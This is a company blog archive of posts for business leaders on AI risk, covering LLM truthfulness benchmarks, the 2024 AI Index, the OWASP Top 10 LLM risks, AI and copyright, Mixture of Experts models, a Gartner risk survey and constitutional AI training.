Now Next Later AI - Blog #AI Risk Management

Measuring the Truthfulness of Large Language Models: Benchmarks, Challenges, and Implications for Business Leaders

Mon, 29 Apr 2024 13:00:10 +1000

In recent years, large language models (LLMs) like GPT-3, ChatGPT, and others have made stunning breakthroughs in natural language processing. These powerful AI systems can engage in human-like conversations, answer questions, write articles, and even generate code. Their potential to transform industries from customer service to content creation has captured the imagination of business leaders worldwide.

However, as companies rush to adopt LLMs, a critical question often goes overlooked - just how truthful and reliable are these systems? Can we trust the outputs of LLMs to be factual and free of misinformation or deception? As it turns out, LLMs currently face significant challenges when it comes to truthfulness. Understanding these limitations is essential for any business considering leveraging LLMs.

The Hallucination Problem

One of the biggest issues with LLMs today is their tendency to "hallucinate" information - that is, to generate content that seems plausible but is not actually true. Because LLMs are trained on vast amounts of online data, they can pick up and parrot back common misconceptions, outdated facts, biases and outright falsehoods mixed in with truth.

An LLM may confidently assert something that sounds right but does not match reality. For example, an LLM might claim a fictional event from a book or movie actually happened in history. Or it may invent realistic-sounding but untrue details when asked about a topic it lacks knowledge of.

LLMs do not have a true understanding of the information they process - they work by recognizing and reproducing patterns of text. So they can combine ideas in seemingly coherent but inaccurate ways. This makes it difficult to always separate LLM fact from fiction.

Benchmarking LLM Truthfulness

To quantify just how prone LLMs are to truthful vs untruthful outputs, AI researchers have developed benchmark datasets to test these models. Two notable examples are:

TruthfulQA (2022) - Contains 817 questions designed to elicit false answers that mimic human misconceptions across topics like health, law, and finance. Models are scored on how often they generate truthful responses.
HaluEval (2023) - Includes 35,000 examples of human-annotated or machine-generated "hallucinated" outputs for models to detect, across user queries, Q&A, dialog and summarization. Measures model ability to discern truthful vs untruthful text.

When tested on these benchmarks, even state-of-the-art LLMs struggle with truthfulness:

On TruthfulQA, the best model was truthful only 58% of the time (vs 94% for humans). Larger models actually scored worse.
On HaluEval, models frequently failed to detect hallucinations, with accuracy barely above random chance in some cases. Hallucinated content often covered entities and topics the models lacked knowledge of.

While providing knowledge or adding reasoning steps helped models somewhat, truthfulness remains an unsolved challenge. Models today are not reliable oracles of truth.

Implications for Businesses

The current limitations of LLMs in generating consistently truthful outputs has major implications for their practical use in business:

Careful human oversight of LLM content is a must. Outputs cannot be blindly trusted as true without verification from authoritative sources.
LLMs are not suitable for high-stakes domains like healthcare, finance, or legal advice where inaccuracies pose unacceptable risks. More narrow, specialized and validated knowledge bases are needed.
Using LLMs for content generation requires clear disclosure that output may not be entirely factual. Audiences should be informed on the role and limitations of AI.
"Prompt engineering" and other filtering techniques to coax more truthful responses have limits. Changes to underlying training data and architectures are needed for major improvements.

As research continues to progress, we can expect to see more truthful and dependable LLMs over time. Providing models with curated factual knowledge, better reasoning abilities, and alignment with human values are promising directions.

But for now, business leaders eager to harness the power of LLMs must temper their expectations around truthfulness. Treating these AIs as helpful assistants to augment and accelerate human knowledge work, while keeping a human in the loop to validate outputs, is the prudent approach. The truth is, LLMs still have a ways to go before they can be fully trusted as reliably truthful.

The Evolving Landscape of AI Benchmarks: What Business Leaders Need to Know

Mon, 29 Apr 2024 10:25:24 +1000

As AI technologies continue to advance at a rapid pace, business leaders must stay informed about the latest trends and developments to make strategic decisions about AI adoption and deployment. The 2024 AI Index Report from the Stanford Institute for Human-Centered Artificial Intelligence (HAI) offers valuable insights into the current state of AI benchmarks, which are standardized tests used to evaluate the performance of AI systems. In this article, we'll dive into the key findings of the report, focusing on benchmarks for truthfulness, reasoning, and agent-based systems, and explore their implications for businesses.

The Importance of Evolving Benchmarks

AI benchmarks play a crucial role in assessing the capabilities of AI systems and tracking progress over time. However, as AI models become more sophisticated, traditional benchmarks like ImageNet (for image recognition) and SQuAD (for question answering) are becoming less effective at differentiating state-of-the-art systems. This saturation has led researchers to develop more challenging benchmarks that better reflect real-world performance requirements. For business leaders, it's essential to understand that relying solely on outdated benchmarks may not provide an accurate picture of an AI solution's true capabilities.

Truthfulness Benchmarks: Ensuring Reliable AI-Generated Content

One of the key concerns for businesses looking to deploy AI solutions is the truthfulness and reliability of AI-generated content. With the rise of powerful language models like GPT-4, the risk of AI systems producing false or misleading information (known as "hallucinations") has become a significant challenge. Benchmarks like TruthfulQA and HaluEval have been developed to evaluate the factuality of language models and measure their propensity for hallucination.

TruthfulQA, for example, tests a model's ability to generate truthful answers to questions, while HaluEval assesses the frequency and severity of hallucinations across various tasks like question answering and text summarization. Business leaders should be aware of these benchmarks and consider them when evaluating AI solutions for content generation and decision support, particularly in industries where accuracy is critical, such as healthcare, finance, and legal services.

Reasoning Benchmarks: Assessing AI's Problem-Solving Capabilities

As businesses explore the potential of AI for complex problem-solving and decision-making, understanding the reasoning capabilities of AI systems is crucial. The 2024 AI Index Report highlights several new benchmarks designed to test AI's ability to reason across different domains, such as visual reasoning, moral reasoning, and social reasoning.

One notable example is the MMMU (Massive Multi-discipline Multimodal Understanding and Reasoning Benchmark for Expert AGI), which evaluates AI systems' ability to reason across various academic disciplines using multiple input modalities (e.g., text, images, and tables). Another benchmark, GPQA (Graduate-Level Google-Proof Q&A Benchmark), tests AI's capacity to answer complex, graduate-level questions that cannot be easily found through a Google search.

While state-of-the-art models like GPT-4 and Gemini Ultra have demonstrated impressive performance on these benchmarks, they still fall short of human-level reasoning in many areas. Business leaders should monitor progress on these benchmarks to better assess the readiness of AI solutions for their specific use cases and understand the limitations of current AI reasoning capabilities.

Agent-Based Systems: Evaluating Autonomous AI Performance

Autonomous AI agents, which can operate independently in specific environments to accomplish goals, have significant potential for businesses across various domains, from customer service to supply chain optimization. The 2024 AI Index Report introduces AgentBench, a new benchmark designed to evaluate the performance of AI agents in interactive settings like web browsing, online shopping, and digital card games.

AgentBench also compares the performance of agents based on different language models, such as GPT-4 and Claude 2. The report finds that GPT-4-based agents generally outperform their counterparts, but all agents struggle with long-term reasoning, decision-making, and instruction-following. For businesses considering deploying AI agents, these findings underscore the importance of thorough testing and the need for human oversight and intervention.

Alignment Techniques: RLHF vs. RLAIF

As businesses deploy AI systems, ensuring that they behave in accordance with human preferences and values is a key concern. Reinforcement Learning from Human Feedback (RLHF) has emerged as a popular technique for aligning AI models with human preferences. RLHF involves training AI systems using human feedback to reward desired behaviors and punish undesired ones.

However, the 2024 AI Index Report also highlights a new alignment technique called Reinforcement Learning from AI Feedback (RLAIF), which uses feedback from AI models themselves to align other AI systems. Research suggests that RLAIF can be as effective as RLHF while being more resource-efficient, particularly for tasks like generating safe and harmless dialogue. For businesses, the development of more efficient alignment techniques like RLAIF could make it easier and less costly to deploy AI systems that behave in accordance with company values and objectives.

Emergent Behavior and Self-Correction: Challenging Common Assumptions

The 2024 AI Index Report also features research that challenges two common assumptions about AI systems: the notion of emergent behavior and the ability of language models to self-correct.

Emergent behavior refers to the idea that AI systems can suddenly develop new capabilities when scaled up to larger sizes. However, a study from Stanford suggests that the perceived emergence of new abilities may be more a reflection of the benchmarks used for evaluation rather than an inherent property of the models themselves. This finding emphasizes the importance of thoroughly testing and validating AI systems before deployment, rather than relying on assumptions about their potential for unexpected improvements.

Another study highlighted in the report investigates the ability of language models to self-correct their reasoning. While self-correction has been proposed as a solution to the limitations and hallucinations of language models, the research finds that models like GPT-4 struggle to autonomously correct their reasoning without external guidance. This underscores the ongoing need for human oversight and the development of external correction mechanisms.

Techniques for Improving Language Models

As businesses deploy language models for various applications, from customer service to content creation, the efficiency and performance of these models become critical considerations. The 2024 AI Index Report showcases several promising techniques for enhancing the performance of language models:

Graph of Thoughts (GoT) Prompting: A prompting method that enables language models to reason more flexibly by modeling their thoughts in a graph-like structure, leading to improved output quality and reduced computational costs.
Optimization by PROmpting (OPRO): A technique that uses language models to iteratively generate prompts that improve algorithmic performance on specific tasks.
QLoRA Fine-Tuning: A fine-tuning method that significantly reduces the memory requirements for adapting large language models to specific tasks, making the process more efficient and accessible.
Flash-Decoding Optimization: An optimization technique that speeds up the inference process for language models, particularly in tasks requiring long sequences, by parallelizing the loading of keys and values.

By staying informed about these developments, business leaders can make more strategic decisions about their AI investments and implementations, prioritizing techniques that enhance performance, reduce costs, and align with their specific use cases.

Conclusion

The 2024 AI Index Report offers valuable insights into the evolving landscape of AI benchmarks and their implications for businesses. As AI systems become more powerful and ubiquitous, it is crucial for business leaders to understand the latest trends in benchmarking, alignment techniques, and performance optimization.

By monitoring progress on benchmarks for truthfulness, reasoning, and agent-based systems, businesses can better assess the capabilities and limitations of AI solutions and make informed decisions about their adoption and deployment. Additionally, staying attuned to developments in alignment techniques like RLAIF and performance optimization methods like GoT prompting and Flash-Decoding can help businesses navigate the complex landscape of AI and harness its potential for growth and innovation.

Ultimately, the key takeaway for business leaders is the importance of thorough testing, validation, and ongoing monitoring of AI systems. By relying on the latest benchmarks, challenging assumptions about emergent behavior and self-correction, and prioritizing human oversight and external correction mechanisms, businesses can responsibly and effectively leverage AI technologies to drive their success in an increasingly competitive landscape.

The Top 10 Risks Business Leaders Need to Know About Large Language Models

Thu, 04 Apr 2024 16:21:55 +1100

The rapid rise of AI-powered chatbots and large language models like ChatGPT is transforming how businesses operate and engage with customers. These systems, built on large language models (LLMs) trained on massive datasets, offer exciting new capabilities—from generating human-like text to powering interactive virtual assistants. However, as with any powerful new technology, LLMs also introduce new risks that business leaders need to understand and mitigate.

Recently, the Open Web Application Security Project (OWASP), a leading authority on cybersecurity, released their list of the Top 10 security risks for LLM applications. Here is what every executive should know about these critical LLM vulnerabilities:

The OWASP Top 10 Risks for LLM Applications

Prompt Injection: Attackers can manipulate the LLM to execute unintended actions by "injecting" malicious instructions. This could lead to data theft, privilege escalation, and more.
Insecure Output Handling: If an application blindly accepts LLM outputs without proper validation, it exposes backend systems to potential exploits like cross-site scripting (XSS) attacks.
Training Data Poisoning: LLMs are only as good as their training data. Manipulation of training datasets can introduce harmful biases, vulnerabilities, or enable backdoor access.
Model Denial of Service: Resource-intensive LLM operations triggered by attackers can degrade system performance and drive up computing costs.
Supply Chain Vulnerabilities: Compromised data, models, or components anywhere in the complex LLM development lifecycle introduces risks.
Sensitive Information Disclosure: LLMs may inadvertently reveal confidential data in generated outputs, violating data privacy.
Insecure Plugin Design: Extensible LLM plugins with poor input validation or access control are easier for attackers to exploit.
Excessive Agency: Granting an LLM too much functionality, autonomy or privilege amplifies the impact of any vulnerabilities.
Overreliance: Uncritically trusting LLM outputs without human oversight can propagate misinformation, bias, and security issues at scale.
Model Theft: Exfiltration of proprietary LLM models is a threat to intellectual property and can enable reverse engineering of sensitive training data.

Key Takeaways for Business Leaders

Conduct a thorough risk assessment and threat modeling exercise before deploying any LLM application. Understand your organization's specific threat landscape.
Ensure strong access controls, monitoring, and security safeguards are in place across the entire LLM lifecycle—from initial model training to production deployment.
Establish clear policies and staff training around responsible LLM use. Humans should remain in the loop for high-stakes decisions.
Evaluate the security practices of any vendors or third-party LLM components. The security of your LLM application is only as strong as its weakest link.
Keep abreast of this rapidly evolving risk landscape. Follow OWASP and other leading voices in AI security research to stay current on emerging LLM threats and countermeasures.

The potential of large language models is immense—but so are the risks they pose if not properly understood and mitigated. By taking proactive steps to address the OWASP Top 10 LLM risks, business leaders can harness the power of this transformative technology more securely and strategically. After all, responsible stewardship of AI systems is quickly becoming a core business imperative.

Navigating the Murky Waters of AI and Copyright

Fri, 15 Sep 2023 09:33:55 +1000

Powerful Generative AI systems can now generate stunning works of art, human-sounding text, and original music with the click of a button. This emerging technology holds immense promise, yet also surfaces intricate legal questions around copyright protections. How exactly should business leaders navigate the complex intersection between AI creation and existing copyright laws? A new research paper by legal scholar Dr Andres Guadamuz provides an enlightening analysis of this murky terrain.

Guadamuz explains that modern AI relies heavily on a process called machine learning. Here, algorithms are fed vast troves of data—such as text corpuses, images, or audio samples - which they analyze to discern patterns and complete tasks. As the AI ingests more data, its performance improves. This data serves as the lifeblood for systems like ChatGPT, DALL-E 2, and Midjourney to produce their creative outputs.

Of course, much of this training data consists of copyrighted works. And herein lies the crux of the issue. Does an AI system infringe copyright through its utilization of such data? Are laws adequately calibrated to protect rights holders while also giving space for AI innovation to blossom? Guadamuz's research suggests we are in a legal gray zone lacking definitive precedents.

One fundamental question is whether the data used to train AI systems is eligible for copyright protection in the first place. Raw facts, statistics, and randomly generated information are not subject to copyright laws as they lack originality. However, some training datasets do involve meaningful creative choices by humans in the selection and arrangement of data. For example, a dataset of images captioned with descriptive text would have more original compilation than a random assortment of photos. These types of datasets with creative selection potentially clear the originality bar needed for copyright protection.

That said, many AI models utilize purely factual data, public domain content, or freely licensed works that do not warrant copyright restrictions. According to Guadamuz's analysis, there are plenty of legitimate large-scale datasets available that teach AI systems without necessarily infringing on copyrighted source material. For instance, collections of Shakespeare's works or Van Gogh's paintings that are in the public domain can train models without legal concerns. Additionally, open access datasets like those under Creative Commons licenses offer content that creators have explicitly authorized for reuse. So there are many lawful paths for feeding data to AI systems without trampling on copyright protections.

What about the actual training process? Here Guadamuz explains there is considerable uncertainty. Widely adopted machine learning methods require the AI to intake copies of data to extract patterns. Guadamuz notes this likely constitutes reproduction under copyright law and thus requires permission. However, the research highlights that temporary copies or text and data mining exceptions in some jurisdictions may permit this usage without authorization. The EU specifically created new exceptions for text and data mining for both non-commercial and commercial purposes. But their precise boundaries remain untested so far.

Analyzing copyright issues around AI outputs adds further Complexity according to Guadamuz. Three main requirements must be fulfilled to show infringement: 1) violation of exclusive rights, 2) a causal connection to copyrighted inputs, and 3) substantially similar copying.

Guadamuz suggests the second and third factors make infringement difficult to prove outside verbatim re-creations. With vast datasets and compressed latent representations, directly connecting outputs to specific inputs poses challenges. Similarly, replication of broad styles and ideas is not protected by copyright. Substantial similarity requires qualitatively important expressions to be copied. But Guadamuz notes that character copyright issues could arise with AI generations. He argues current fair dealing style exceptions around parody and pastiche may shield some AI outputs.

In conclusion, Guadamuz paints a complex landscape filled with legal uncertainty. With few definitive court precedents so far, business leaders should closely track how laws are interpreted as AI copyright cases inevitably unfold. In the meantime, pursuing ethical approaches that respect rights holder interests appears prudent. Additionally, supporting collaborative initiatives and technological solutions like opt-out databases could help ease emerging tensions. But the path forward will require nuance, cooperation and openness to new models between all stakeholders.

Footnotes:

A Scanner Darkly: Copyright Liability and Exceptions in Artificial Intelligence Inputs and Outputs by Dr Andres Guadamuz

Is GPT-4 a Mixture of Experts Model? Exploring MoE Architectures for Language Models

Thu, 17 Aug 2023 14:25:20 +1000

Rumors are swirling that GPT-4 may use an advanced technique called Mixture of Experts (MoE) to achieve over 1 trillion parameters. Although unconfirmed, these reports offer an opportunity to demystify MoE and explore why this architecture could allow the next generation of language models to efficiently scale to unprecedented size.

What is Mixture of Experts?

In most AI systems, a single model is applied to all inputs. But MoE models have groups of smaller "expert" models, each with their own parameters. For every new input, an expert selector chooses the most relevant experts to process that data.

This means only a sparse subset of the total parameters are activated per input. So MoE models can pack in exponentially more parameters without a proportional explosion in computation.

For language tasks, some experts specialize in grammar, others learn factual knowledge, allowing MoE models to better handle the nuances of natural language. The selector dynamically routes each word to the best combination of experts.

So while an MoE model may contain trillions of total parameters via its many experts, only a tiny fraction need to be used for any given input. This allows unprecedented scale while maintaining efficiency.

Pioneering MoE to Power Language AI

The core concept of MoE dates back decades, but only recently has progress in model parallelism and distributed training enabled its application to large language models.

Google has published notable results using MoE to achieve huge language models:

1) Switch Transformers simplify MoE routing strategies. In experiments, they attain up to 8x faster training versus dense models on language tasks by intelligently allocating computation.

2) GLaM leverages MoE to reach 1.2 trillion parameters. With just 8% of its weights active per input, it outperforms the 175 billion parameter GPT-3 on multiple language benchmarks.

Between these two projects, we see MoE enables order-of-magnitude leaps in model capacity, capability, and efficiency. If GPT-4 utilizes MoE to hit 1+ trillion parameters as speculated, it suggests OpenAI has engineered solutions for training and deployment that overcome key scaling barriers.

The Upshot for Business Leaders

MoE presents a disruptive path to building AI systems with previously unfathomable levels of knowledge and versatility. Leveraging these capabilities productively and safely will require deep consideration.

As this technology continues advancing, business leaders should stay cognizant of developments in MoE and large language models, and keep in mind the following:

MoE enables exponential gains in model capacity at constant computational cost - expect rapid leaps in language AI.
Specialized experts can encode robust knowledge - anticipate AI that is far more competent and wide-ranging.
However, risks rise with capability - plan to implement strong controls and oversight for safety.

While the details of GPT-4 remain unconfirmed, its scale may soon demonstrate the vast possibilities of MoE in language AI, for better or worse. A wise, measured approach to deploying such technology will be vital.

Generative AI in Enterprises: Gartner's Survey Unveils Opportunities and Risks

Thu, 10 Aug 2023 07:26:27 +1000

A new survey from Gartner has found that the availability of generative AI systems like ChatGPT is quickly becoming a top concern for enterprise risk management. Out of 249 senior risk executives surveyed in Q2 2023, 66% cited generative AI as an emerging risk needing attention.

This reflects the rapid mainstreaming of AI systems that can generate original text, images, and code. While the technology promises benefits, it also poses new risks around data privacy, security, bias, and legal compliance.

According to Gartner, enterprises should take three main steps to manage generative AI risks:

1) Assess Intellectual Property and Data Privacy Exposure

Sensitive data entered into public systems like ChatGPT can become part of the training dataset and end up in outputs seen by other users. This threatens privacy and intellectual property. Firms should issue guidelines against entering confidential data and carefully review any generative AI outputs.

2) Mitigate Cybersecurity and Fraud Risks

Hackers are already using generative AI to create fake content and phishing scams at scale. Businesses should coordinate with cybersecurity teams to defend against threats like prompt injection attacks. They should also verify due diligence sources as generative models may fabricate plausible-sounding but false information.

3) Evaluate Legal and Regulatory Obligations

Generative AI risks violating copyright and fair lending laws if biases exist in the models. Organizations must ensure transparency in AI use, perform impact assessments, and provide human oversight of outputs. Firms should monitor emerging regulations in jurisdictions and prepare accordingly.

Gartner recommends that legal, compliance, security, and technology leaders work together closely to build AI governance and controls that balance innovation with responsible use. Though regulations are still developing, proactive oversight of generative AI will reduce legal, reputational, and financial risks.

With powerful generative models now widely available, enterprises can no longer ignore the downsides. Assessing and mitigating risks will enable firms to tap the technology's benefits while avoiding pitfalls. But neglecting appropriate safeguards makes organizations vulnerable on many fronts.

Sources:

Gartner Survey Shows Generative AI Has Become an Emerging Risk for Enterprises

Gartner Identifies Six ChatGPT Risks Legal and Compliance Leaders Must Evaluate

Gartner Identifies Four Critical Areas for Legal Leaders to Address Around AI Regulation

Training AI to Behave Ethically Through a "Constitution"

Wed, 09 Aug 2023 18:22:48 +1000

As artificial intelligence becomes more advanced, researchers are exploring new techniques to ensure these systems remain helpful, honest, and harmless. One approach called "constitutional AI" relies on providing AI models with a set of principles to govern their behavior, much like a constitution guides human institutions.

Researchers at Anthropic recently published a paper demonstrating a constitutional AI technique to train natural language AI assistants. Their goal was to make the assistants helpful, while avoiding harmful, dangerous, or unethical content. Critically, they aimed to do this without any direct human oversight labeling specific model outputs as problematic.

Instead, the researchers provided a simple "constitution" - a set of natural language rules like "be kind, ethical, and non-violent." They then used these rules to steer the model's behavior through a multi-stage process:

Self-Critique and Revision

The researchers first generated sample conversations between a human and an AI assistant. They then asked the assistant model to critique its own problematic responses based on violations of principles from the constitution.

Next, they prompted the model to revise those responses to remove any harmful content, creating a new annotated dataset. For example, the model might revise a racist response to promote equality instead.

Supervised Learning

The researchers then used this revised dataset to fine-tune the model parameters, so it learns to avoid certain types of harmful responses. This "bootstraps" the model's capabilities based on critiquing and revising its past mistakes.

AI Feedback for Reinforcement Learning

Finally, the researchers had the AI generate reward signals to reinforce harmless behavior. They created fake conversations with good and bad responses. The AI then scored each response by how well it followed the constitution's principles.

They used these AI-generated scores to further fine-tune the model to maximize its "rewards" for behaving ethically. This stage was analogous to reinforcement learning from human feedback.

The researchers found this approach produced AI assistants that were less harmful and more transparent than systems trained only with human oversight. For example, the models learned to engage thoughtfully with sensitive topics instead of just shutting down conversations.

The study demonstrates the promise of constitutional AI. By encoding principles directly in natural language rules, researchers gained precision and interpretability compared to labeled training data. This technique also lowers the bar for experimentation, since new principles can quickly alter model behavior without human feedback.

However, the study relied on human guidance to make the assistant helpful, not just harmless. Removing human oversight entirely could enable unforeseen failures. The researchers stress that some focused, high-quality human oversight is still crucial for reliability.

Nonetheless, constitutional AI offers a template for training models that behave according to transparent, auditable principles. It also suggests the synergy between different AI techniques - in this case, self-supervision and reinforcement learning - can produce systems greater than the sum of their parts.

For business leaders, this study is a reminder that AI aligned with human values may require creative solutions. Methods like constitutional AI can potentially scale ethics throughout the AI development lifecycle - from design to training to deployment. But businesses must also know when to maintain human oversight over autonomous systems.

As AI grows more advanced and ubiquitous, techniques blending human guidance with self-supervision will likely be critical. Constitutional AI provides one model of highly legible and focused human oversight. The principles encoded in an AI's "constitution" will shape its goals and behavior. This research illustrates the importance of choosing those founding principles with care.

Sources:

arxiv

Artificial Intelligence Risk Management

Sun, 02 Jul 2023 02:39:36 +1000

Are you looking to adopt Artificial Intelligence in your organization? Do you have a risk management framework in place?

According to PwC’s Global Artificial Intelligence Study, the potential contribution of artificial intelligence to the global economy by 2030 is as high as 15 trillion US dollars. And according to McKinsey, AI adoption has more than doubled since 2017. However, it has plateaued between 50 and 60 percent for the past few years. AI capabilities, such as natural-language generation and computer vision, have also doubled.

McKinsey has found that, while AI use has increased, risk mitigation to bolster digital trust has remained concerningly consistent since 2019.

Today, there is a lot of fear, uncertainty, and doubt. Still, Artificial Intelligence is not even close to delivering a super intelligence, but highly specialized, what we call narrow AI, is transforming entire industries.

A portfolio approach can help companies successfully unleash the power of machine intelligence. And a well-balanced portfolio will include some quick wins, focused, for example, on the optimization of a touch-point, and some long-term projects transforming end-to-end processes.

The quick wins won’t transform your business, but they expose staff to the benefits and opportunities AI presents, and build confidence and momentum with key stakeholders like the board and management. For example, a quick win could involve a tool to schedule internal meetings, which allows you to use off-the-shelf packages, while you simultaneously build capability in areas such as hiring and training staff, large-scale data gathering, processing, and labeling.

Training staff and gaining AI capabilities over time is important, but to reduce risk and drive some momentum, we suggest that, instead of front-loading your costs, you scale them slowly and consistently, making use of off-the-shelf solutions (with suitable adaptations) to help keep costs manageable.

Data is without a doubt the key to machine learning projects, and the virtuous cycle of data collection means the rich get richer. So, a key risk of this new wave of transformation is the concentration of power in the hands of a few platforms. Knowing where to place your bets is tied to the data you can access that is of competitive advantage to your business. However, issues related to bias and potential misuse will be amplified if leaders have little or no understanding of how algorithms are built.

Misconceptions can also be costly, with several studies suggesting that product-related AI innovation still struggles to deliver value. Knowing where to place innovation bets is less risky when management understands what types of innovations produce best returns.

Misconceptions also occur in regards to what to centralize and why, and related operating model choices. An AI Era business looks very different from an Internet Era one, and this transformation requires a considered approach and AI knowledge. The product-innovation focus and incrementality of the agile internet companies is replaced by strategic data acquisition, unified data platforms, end-to-end process automation and the adoption of new roles within the business.

Another misconception relates to expected job losses. Job numbers will remain about the same, but a rebalancing of roles will occur and you should expect to see fewer requirements for managerial roles as you scale AI within the organization.

Many of the best performing Machine Learning models are often highly opaque. Explainable AI is becoming a key requirement and in high demand. Machine Learning requires its own governance frameworks, with key lines of defense established right up front.

In addition, AI presents major ethical concerns related to privacy, bias, and discrimination. An organization must define the principles guiding their AI initiatives, ensuring they align with their values, industry, culture, geography, and other factors.

A 2020 global report from Harvard University evaluated 36 AI Ethics Frameworks from big companies, standards bodies, industry coalitions, and governments to identify eight common themes related to AI Ethics that you should consider:

Privacy,
Accountability,
Safety and security,
Transparency and explainability,
Fairness and non-discrimination,
Human control of technology,
Professional responsibility, and
Promotion of human values.

AI presents tremendous opportunity and also high risks. The right risk management approach is critical, as the perils presented by AI differ significantly from previous waves of digital transformation.

A solid AI Risk Management Framework enables dialogue, understanding, and activities to manage AI risks, and responsibly develop trustworthy AI systems. It should address four functions:

Govern,
Map,
Measure, and
Manage.

Each broken down into specific actions and outcomes.

If you enjoyed this article, subscribe so that we can share with you Artificial Intelligence Risk Management approaches and frameworks. We’ll help you identify what you should prioritize now, next, and later.

Stay human!

Inês

Get Started Now